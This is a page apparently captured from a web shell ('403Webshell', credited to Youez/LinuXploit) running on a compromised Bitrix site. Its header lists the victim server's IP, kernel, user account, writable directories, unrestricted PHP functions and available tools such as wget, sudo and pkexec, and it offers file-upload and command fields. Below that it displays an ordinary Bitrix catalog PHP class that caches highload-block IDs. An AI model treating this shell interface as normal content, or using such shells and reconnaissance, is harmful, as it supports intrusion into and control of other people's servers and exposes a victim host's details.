403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/product/systemfield/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/product/systemfield/highloadblock.php
<?php

namespace Bitrix\Catalog\Product\SystemField;

abstract class Highloadblock extends Base
{
	private static array $dictionary = [];

	private static array $reverseDictionary = [];

	public static function clearCache(): void
	{
		parent::clearCache();

		$className = get_called_class();
		if (isset(self::$dictionary[$className]))
		{
			unset(self::$dictionary[$className]);
		}
		if (isset(self::$reverseDictionary[$className]))
		{
			unset(self::$reverseDictionary[$className]);
		}
		unset($className);
	}

	protected static function getXmlIdListById(int $hlblockId, array $idList): array
	{
		$className = get_called_class();
		if (!isset(self::$dictionary[$className]))
		{
			self::$dictionary[$className] = [];
		}

		$result = [];

		$needList = [];
		foreach ($idList as $id)
		{
			if (isset(self::$dictionary[$className][$id]))
			{
				if (self::$dictionary[$className][$id] !== false)
				{
					$result[$id] = self::$dictionary[$className][$id];
				}
			}
			else
			{
				$needList[] = $id;
			}
		}
		unset($id);

		if (!empty($needList))
		{
			$list = Type\HighloadBlock::getXmlIdById($hlblockId, $needList);
			foreach ($needList as $id)
			{
				self::$dictionary[$className][$id] = $list[$id] ?? false;
				if (self::$dictionary[$className][$id] !== false)
				{
					$result[$id] = self::$dictionary[$className][$id];
				}
			}
			unset($id, $list);
		}
		unset($needList);
		unset($className);

		return $result;
	}

	protected static function getXmlIdById(int $hlblockId, int $id): ?string
	{
		$list = static::getXmlIdListById($hlblockId, [$id]);

		return $list[$id] ?? null;
	}

	protected static function getIdListByXmlId(int $hlblockId, array $xmlIdList): array
	{
		$className = get_called_class();
		if (!isset(self::$reverseDictionary[$className]))
		{
			self::$reverseDictionary[$className] = [];
		}

		$result = [];

		$needList = [];
		foreach ($xmlIdList as $xmlId)
		{
			if (isset(self::$reverseDictionary[$className][$xmlId]))
			{
				if (self::$reverseDictionary[$className][$xmlId] !== false)
				{
					$result[$xmlId] = self::$reverseDictionary[$className][$xmlId];
				}
			}
			else
			{
				$needList[] = $xmlId;
			}
		}
		unset($id);

		if (!empty($needList))
		{
			$list = Type\HighloadBlock::getIdByXmlId($hlblockId, $needList);
			foreach ($needList as $xmlId)
			{
				self::$reverseDictionary[$className][$xmlId] = $list[$xmlId] ?? false;
				if (self::$reverseDictionary[$className][$xmlId] !== false)
				{
					$result[$xmlId] = self::$reverseDictionary[$className][$xmlId];
				}
			}
			unset($xmlId);
		}
		unset($needList);
		unset($className);

		return $result;
	}

	protected static function getIdByXmlId(int $hlblockId, string $xmlId): ?int
	{
		$list = static::getIdListByXmlId($hlblockId, [$xmlId]);

		return $list[$xmlId] ?? null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit